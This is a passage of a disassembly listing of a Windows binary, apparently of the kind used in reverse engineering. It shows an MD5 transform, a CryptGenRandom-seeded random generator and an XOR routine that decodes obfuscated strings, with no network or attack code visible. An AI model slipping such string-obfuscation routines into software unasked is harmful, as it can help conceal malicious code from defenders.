eax, [ebp+var_C] and eax, [ebp+var_4] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_28] mov ecx, [ebp+var_10] lea eax, [ecx+eax+2441453h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 9 mov ecx, [ebp+var_10] shr ecx, 17h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_10] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_14] mov ecx, [ebp+var_C] lea eax, [ecx+eax-275E197Fh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Eh mov ecx, [ebp+var_C] shr ecx, 12h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] and eax, [ebp+var_C] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_40] mov ecx, [ebp+var_8] lea eax, [ecx+eax-182C0438h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 14h mov ecx, [ebp+var_8] shr ecx, 0Ch or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] and eax, [ebp+var_8] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_2C] mov ecx, [ebp+var_4] lea eax, [ecx+eax+21E1CDE6h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 5 mov ecx, [ebp+var_4] shr ecx, 1Bh or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] and eax, [ebp+var_4] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_18] mov ecx, [ebp+var_10] lea eax, [ecx+eax-3CC8F82Ah] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 9 mov ecx, [ebp+var_10] shr ecx, 17h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_10] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_44] mov ecx, [ebp+var_C] lea eax, [ecx+eax-0B2AF279h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Eh mov ecx, [ebp+var_C] shr ecx, 12h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] and eax, [ebp+var_C] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_30] mov ecx, [ebp+var_8] lea eax, [ecx+eax+455A14EDh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 14h mov ecx, [ebp+var_8] shr ecx, 0Ch or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] and eax, [ebp+var_8] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_1C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-561C16FBh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 5 mov ecx, [ebp+var_4] shr ecx, 1Bh or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] and eax, [ebp+var_4] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_48] mov ecx, [ebp+var_10] lea eax, [ecx+eax-3105C08h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 9 mov ecx, [ebp+var_10] shr ecx, 17h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_10] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_34] mov ecx, [ebp+var_C] lea eax, [ecx+eax+676F02D9h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Eh mov ecx, [ebp+var_C] shr ecx, 12h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] and eax, [ebp+var_C] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_20] mov ecx, [ebp+var_8] lea eax, [ecx+eax-72D5B376h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 14h mov ecx, [ebp+var_8] shr ecx, 0Ch or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] xor eax, [ebp+var_C] xor eax, [ebp+var_10] add eax, [ebp+var_3C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-5C6BEh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 4 mov ecx, [ebp+var_4] shr ecx, 1Ch or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] xor eax, [ebp+var_8] xor eax, [ebp+var_C] add eax, [ebp+var_30] mov ecx, [ebp+var_10] lea eax, [ecx+eax-788E097Fh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Bh mov ecx, [ebp+var_10] shr ecx, 15h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] xor eax, [ebp+var_4] xor eax, [ebp+var_8] add eax, [ebp+var_24] mov ecx, [ebp+var_C] lea eax, [ecx+eax+6D9D6122h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 10h mov ecx, [ebp+var_C] shr ecx, 10h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor eax, [ebp+var_4] add eax, [ebp+var_18] mov ecx, [ebp+var_8] lea eax, [ecx+eax-21AC7F4h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 17h mov ecx, [ebp+var_8] shr ecx, 9 or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] xor eax, [ebp+var_C] xor eax, [ebp+var_10] add eax, [ebp+var_4C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-5B4115BCh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 4 mov ecx, [ebp+var_4] shr ecx, 1Ch or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] xor eax, [ebp+var_8] xor eax, [ebp+var_C] add eax, [ebp+var_40] mov ecx, [ebp+var_10] lea eax, [ecx+eax+4BDECFA9h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Bh mov ecx, [ebp+var_10] shr ecx, 15h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] xor eax, [ebp+var_4] xor eax, [ebp+var_8] add eax, [ebp+var_34] mov ecx, [ebp+var_C] lea eax, [ecx+eax-944B4B0h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 10h mov ecx, [ebp+var_C] shr ecx, 10h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor eax, [ebp+var_4] add eax, [ebp+var_28] mov ecx, [ebp+var_8] lea eax, [ecx+eax-41404390h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 17h mov ecx, [ebp+var_8] shr ecx, 9 or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] xor eax, [ebp+var_C] xor eax, [ebp+var_10] add eax, [ebp+var_1C] mov ecx, [ebp+var_4] lea eax, [ecx+eax+289B7EC6h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 4 mov ecx, [ebp+var_4] shr ecx, 1Ch or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] xor eax, [ebp+var_8] xor eax, [ebp+var_C] add eax, [ebp+var_50] mov ecx, [ebp+var_10] lea eax, [ecx+eax-155ED806h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Bh mov ecx, [ebp+var_10] shr ecx, 15h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] xor eax, [ebp+var_4] xor eax, [ebp+var_8] add eax, [ebp+var_44] mov ecx, [ebp+var_C] lea eax, [ecx+eax-2B10CF7Bh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 10h mov ecx, [ebp+var_C] shr ecx, 10h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor eax, [ebp+var_4] add eax, [ebp+var_38] mov ecx, [ebp+var_8] lea eax, [ecx+eax+4881D05h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 17h mov ecx, [ebp+var_8] shr ecx, 9 or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] xor eax, [ebp+var_C] xor eax, [ebp+var_10] add eax, [ebp+var_2C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-262B2FC7h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 4 mov ecx, [ebp+var_4] shr ecx, 1Ch or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] xor eax, [ebp+var_8] xor eax, [ebp+var_C] add eax, [ebp+var_20] mov ecx, [ebp+var_10] lea eax, [ecx+eax-1924661Bh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Bh mov ecx, [ebp+var_10] shr ecx, 15h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] xor eax, [ebp+var_4] xor eax, [ebp+var_8] add eax, [ebp+var_14] mov ecx, [ebp+var_C] lea eax, [ecx+eax+1FA27CF8h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 10h mov ecx, [ebp+var_C] shr ecx, 10h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor eax, [ebp+var_4] add eax, [ebp+var_48] mov ecx, [ebp+var_8] lea eax, [ecx+eax-3B53A99Bh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 17h mov ecx, [ebp+var_8] shr ecx, 9 or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] not eax mov ecx, [ebp+var_8] or ecx, eax mov eax, [ebp+var_C] xor eax, ecx add eax, [ebp+var_50] mov ecx, [ebp+var_4] lea eax, [ecx+eax-0BD6DDBCh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 6 mov ecx, [ebp+var_4] shr ecx, 1Ah or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] not eax mov ecx, [ebp+var_4] or ecx, eax mov eax, [ebp+var_8] xor eax, ecx add eax, [ebp+var_34] mov ecx, [ebp+var_10] lea eax, [ecx+eax+432AFF97h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ah mov ecx, [ebp+var_10] shr ecx, 16h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] not eax mov ecx, [ebp+var_10] or ecx, eax mov eax, [ebp+var_4] xor eax, ecx add eax, [ebp+var_18] mov ecx, [ebp+var_C] lea eax, [ecx+eax-546BDC59h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Fh mov ecx, [ebp+var_C] shr ecx, 11h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] not eax mov ecx, [ebp+var_C] or ecx, eax mov eax, [ebp+var_10] xor eax, ecx add eax, [ebp+var_3C] mov ecx, [ebp+var_8] lea eax, [ecx+eax-36C5FC7h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 15h mov ecx, [ebp+var_8] shr ecx, 0Bh or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] not eax mov ecx, [ebp+var_8] or ecx, eax mov eax, [ebp+var_C] xor eax, ecx add eax, [ebp+var_20] mov ecx, [ebp+var_4] lea eax, [ecx+eax+655B59C3h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 6 mov ecx, [ebp+var_4] shr ecx, 1Ah or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] not eax mov ecx, [ebp+var_4] or ecx, eax mov eax, [ebp+var_8] xor eax, ecx add eax, [ebp+var_44] mov ecx, [ebp+var_10] lea eax, [ecx+eax-70F3336Eh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ah mov ecx, [ebp+var_10] shr ecx, 16h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] not eax mov ecx, [ebp+var_10] or ecx, eax mov eax, [ebp+var_4] xor eax, ecx add eax, [ebp+var_28] mov ecx, [ebp+var_C] lea eax, [ecx+eax-100B83h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Fh mov ecx, [ebp+var_C] shr ecx, 11h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] not eax mov ecx, [ebp+var_C] or ecx, eax mov eax, [ebp+var_10] xor eax, ecx add eax, [ebp+var_4C] mov ecx, [ebp+var_8] lea eax, [ecx+eax-7A7BA22Fh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 15h mov ecx, [ebp+var_8] shr ecx, 0Bh or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] not eax mov ecx, [ebp+var_8] or ecx, eax mov eax, [ebp+var_C] xor eax, ecx add eax, [ebp+var_30] mov ecx, [ebp+var_4] lea eax, [ecx+eax+6FA87E4Fh] loc_41005C: ; DATA XREF: cAddress:off_41A8CCo mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 6 mov ecx, [ebp+var_4] shr ecx, 1Ah or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] not eax mov ecx, [ebp+var_4] or ecx, eax mov eax, [ebp+var_8] xor eax, ecx add eax, [ebp+var_14] mov ecx, [ebp+var_10] lea eax, [ecx+eax-1D31920h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ah mov ecx, [ebp+var_10] shr ecx, 16h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] not eax mov ecx, [ebp+var_10] or ecx, eax mov eax, [ebp+var_4] xor eax, ecx add eax, [ebp+var_38] mov ecx, [ebp+var_C] lea eax, [ecx+eax-5CFEBCECh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Fh mov ecx, [ebp+var_C] shr ecx, 11h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] not eax mov ecx, [ebp+var_C] or ecx, eax mov eax, [ebp+var_10] xor eax, ecx add eax, [ebp+var_1C] mov ecx, [ebp+var_8] lea eax, [ecx+eax+4E0811A1h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 15h mov ecx, [ebp+var_8] shr ecx, 0Bh or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] not eax mov ecx, [ebp+var_8] or ecx, eax mov eax, [ebp+var_C] xor eax, ecx add eax, [ebp+var_40] mov ecx, [ebp+var_4] lea eax, [ecx+eax-8AC817Eh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 6 mov ecx, [ebp+var_4] shr ecx, 1Ah or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] not eax mov ecx, [ebp+var_4] or ecx, eax mov eax, [ebp+var_8] xor eax, ecx add eax, [ebp+var_24] mov ecx, [ebp+var_10] lea eax, [ecx+eax-42C50DCBh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ah mov ecx, [ebp+var_10] shr ecx, 16h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] not eax mov ecx, [ebp+var_10] or ecx, eax mov eax, [ebp+var_4] xor eax, ecx add eax, [ebp+var_48] mov ecx, [ebp+var_C] lea eax, [ecx+eax+2AD7D2BBh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Fh mov ecx, [ebp+var_C] shr ecx, 11h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] not eax mov ecx, [ebp+var_C] or ecx, eax mov eax, [ebp+var_10] xor eax, ecx add eax, [ebp+var_2C] mov ecx, [ebp+var_8] lea eax, [ecx+eax-14792C6Fh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 15h mov ecx, [ebp+var_8] shr ecx, 0Bh or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+arg_0] mov eax, [eax] add eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov [ecx], eax mov eax, [ebp+arg_0] mov eax, [eax+4] add eax, [ebp+var_8] mov ecx, [ebp+arg_0] mov [ecx+4], eax mov eax, [ebp+arg_0] mov eax, [eax+8] add eax, [ebp+var_C] mov ecx, [ebp+arg_0] mov [ecx+8], eax mov eax, [ebp+arg_0] mov eax, [eax+0Ch] add eax, [ebp+var_10] mov ecx, [ebp+arg_0] mov [ecx+0Ch], eax leave retn sub_40F3CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410244 proc near ; CODE XREF: sub_40F3CE+Fp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 and [ebp+var_8], 0 jmp short loc_410263 ; --------------------------------------------------------------------------- loc_410253: ; CODE XREF: sub_410244+66j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] add eax, 4 mov [ebp+var_8], eax loc_410263: ; CODE XREF: sub_410244+Dj mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnb short locret_4102AC mov eax, [ebp+arg_4] add eax, [ebp+var_8] movzx eax, byte ptr [eax] mov ecx, [ebp+arg_4] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx+1] shl ecx, 8 or eax, ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx+2] shl ecx, 10h or eax, ecx mov ecx, [ebp+arg_4] add ecx, [ebp+var_8] movzx ecx, byte ptr [ecx+3] shl ecx, 18h or eax, ecx mov ecx, [ebp+var_4] mov edx, [ebp+arg_0] mov [edx+ecx*4], eax jmp short loc_410253 ; --------------------------------------------------------------------------- locret_4102AC: ; CODE XREF: sub_410244+25j leave retn sub_410244 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4102AE proc near ; CODE XREF: cAddress:004168D0p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push 0F0000000h push 1 push 0 push 0 lea eax, [ebp+var_4] push eax call dword_417024 ; CryptAcquireContextA push offset dword_41EAAC push 4 push [ebp+var_4] call dword_417020 ; CryptGenRandom push offset dword_41EAB0 push 4 push [ebp+var_4] call dword_417020 ; CryptGenRandom push offset dword_41EAB4 push 4 push [ebp+var_4] call dword_417020 ; CryptGenRandom push offset dword_41EAB8 push 4 push [ebp+var_4] call dword_417020 ; CryptGenRandom push 0 push [ebp+var_4] call dword_41701C ; CryptReleaseContext leave retn sub_4102AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410318 proc near ; CODE XREF: sub_4103F5+6p ; sub_410422+6p ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push esi push edi lock xadd dword_41EAAC, eax add eax, ebx lock xadd dword_41EAB0, eax add eax, ecx lock xadd dword_41EAB4, eax add eax, edx lock xadd dword_41EAB8, eax add eax, esi lock xadd dword_41EAAC, eax add eax, edi lock xadd dword_41EAB0, eax add eax, ebp lock xadd dword_41EAB4, eax add eax, esp lock xadd dword_41EAB8, eax call sub_416B64 ; clock mov [ebp+var_4], eax mov eax, [ebp+var_4] lock xadd dword_41EAAC, eax lock xadd dword_41EAB0, eax lock xadd dword_41EAB4, eax lock xadd dword_41EAB8, eax add ecx, ebx ror ebx, cl lock xadd dword_41EAB4, ebx add ecx, ecx ror ecx, cl lock xadd dword_41EAB0, ecx add ecx, edx ror edx, cl lock xadd dword_41EAAC, edx rol eax, cl add ecx, eax ror ebx, cl add ecx, ebx ror ecx, cl add ecx, 211h rol edx, cl add ecx, edx lock xadd dword_41EAB8, edx lock xadd dword_41EAB4, ecx lock xadd dword_41EAB0, ebx lock xadd dword_41EAAC, eax pop edi pop esi pop ebx leave retn sub_410318 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4103F5 proc near ; CODE XREF: cAddress:004021CDp ; sub_4040E8+2Dp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd dword_41EAB8, eax mov ecx, [ebp+arg_4] sub ecx, [ebp+arg_0] xor edx, edx inc ecx div ecx mov eax, edx add eax, [ebp+arg_0] pop edi pop esi pop ebx pop ebp retn sub_4103F5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410422 proc near ; CODE XREF: sub_40CF2F:loc_40CFBCp ; sub_40D871+D3Fp ... push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd dword_41EAB8, eax pop edi pop esi pop ebx pop ebp retn sub_410422 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41043F proc near ; CODE XREF: cAddress:00405CFAp ; cAddress:00405D70p push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd dword_41EAB4, eax and eax, 0FFFFh pop edi pop esi pop ebx pop ebp retn sub_41043F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410461 proc near ; CODE XREF: sub_4104A3+42p ; sub_4125DF:loc_4126B8p push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd dword_41EAB0, eax and eax, 0FFh pop edi pop esi pop ebx pop ebp retn sub_410461 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410483 proc near ; CODE XREF: cAddress:00405D10p ; sub_40D7E5+57p push ebp mov ebp, esp push ebx push esi push edi call sub_410318 call sub_416B64 ; clock lock xadd dword_41EAAC, eax and eax, 1 pop edi pop esi pop ebx pop ebp retn sub_410483 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4104A3 proc near ; CODE XREF: sub_40A9CF+D4Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 jnz short loc_4104AF jmp short locret_4104FF ; --------------------------------------------------------------------------- loc_4104AF: ; CODE XREF: sub_4104A3+8j mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_4104B5: ; CODE XREF: sub_4104A3+34j cmp [ebp+arg_4], 3 jbe short loc_4104D9 call sub_410422 mov ecx, [ebp+var_4] mov [ecx], eax mov eax, [ebp+var_4] add eax, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_4] sub eax, 4 mov [ebp+arg_4], eax jmp short loc_4104B5 ; --------------------------------------------------------------------------- loc_4104D9: ; CODE XREF: sub_4104A3+16j mov eax, [ebp+var_4] mov [ebp+arg_0], eax loc_4104DF: ; CODE XREF: sub_4104A3+5Aj cmp [ebp+arg_4], 0 jbe short locret_4104FF call sub_410461 mov ecx, [ebp+arg_0] mov [ecx], al mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax mov eax, [ebp+arg_4] dec eax mov [ebp+arg_4], eax jmp short loc_4104DF ; --------------------------------------------------------------------------- locret_4104FF: ; CODE XREF: sub_4104A3+Aj ; sub_4104A3+40j leave retn sub_4104A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410501 proc near ; CODE XREF: sub_403260+36p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_4], 0 jnz short loc_410510 xor eax, eax jmp short locret_41055D ; --------------------------------------------------------------------------- loc_410510: ; CODE XREF: sub_410501+9j cmp [ebp+arg_10], 0 jnz short loc_41051C mov eax, [ebp+arg_4] mov [ebp+arg_10], eax loc_41051C: ; CODE XREF: sub_410501+13j push [ebp+arg_10] push [ebp+arg_4] call sub_4103F5 pop ecx pop ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] mov [ebp+var_4], eax loc_410532: ; CODE XREF: sub_410501+57j cmp [ebp+var_4], 0 jbe short loc_41055A push [ebp+arg_C] push [ebp+arg_8] call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+arg_0] mov [ecx], al mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax mov eax, [ebp+var_4] dec eax mov [ebp+var_4], eax jmp short loc_410532 ; --------------------------------------------------------------------------- loc_41055A: ; CODE XREF: sub_410501+35j mov eax, [ebp+var_8] locret_41055D: ; CODE XREF: sub_410501+Dj leave retn sub_410501 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41055F proc near ; CODE XREF: cAddress:004168E1p var_58 = byte ptr -58h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi lea eax, [ebp+var_58] push eax call sub_40F11F pop ecx push [ebp+arg_4] push [ebp+arg_0] lea eax, [ebp+var_58] push eax call sub_40F159 add esp, 0Ch lea eax, [ebp+var_58] push eax push offset byte_41EAC0 call sub_40F26E pop ecx pop ecx lea esi, byte_41EAC0 mov edi, esi push 10h pop ecx loc_41059F: ; CODE XREF: sub_41055F+47j lodsb or eax, 80h stosb loop loc_41059F pop edi pop esi pop ebx leave retn sub_41055F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4105AD proc near ; CODE XREF: sub_406E8E+C6p ; sub_406E8E+14Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] movzx eax, byte ptr [eax] cmp eax, 7Fh jle short loc_4105BE jmp short locret_4105F9 ; --------------------------------------------------------------------------- loc_4105BE: ; CODE XREF: sub_4105AD+Dj and [ebp+var_4], 0 jmp short loc_4105CB ; --------------------------------------------------------------------------- loc_4105C4: ; CODE XREF: sub_4105AD+4Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4105CB: ; CODE XREF: sub_4105AD+15j mov eax, [ebp+arg_0] add eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short locret_4105F9 mov eax, [ebp+var_4] cdq push 10h pop ecx idiv ecx mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov al, [eax] xor al, byte_41EAC0[edx] mov ecx, [ebp+arg_0] add ecx, [ebp+var_4] mov [ecx], al jmp short loc_4105C4 ; --------------------------------------------------------------------------- locret_4105F9: ; CODE XREF: 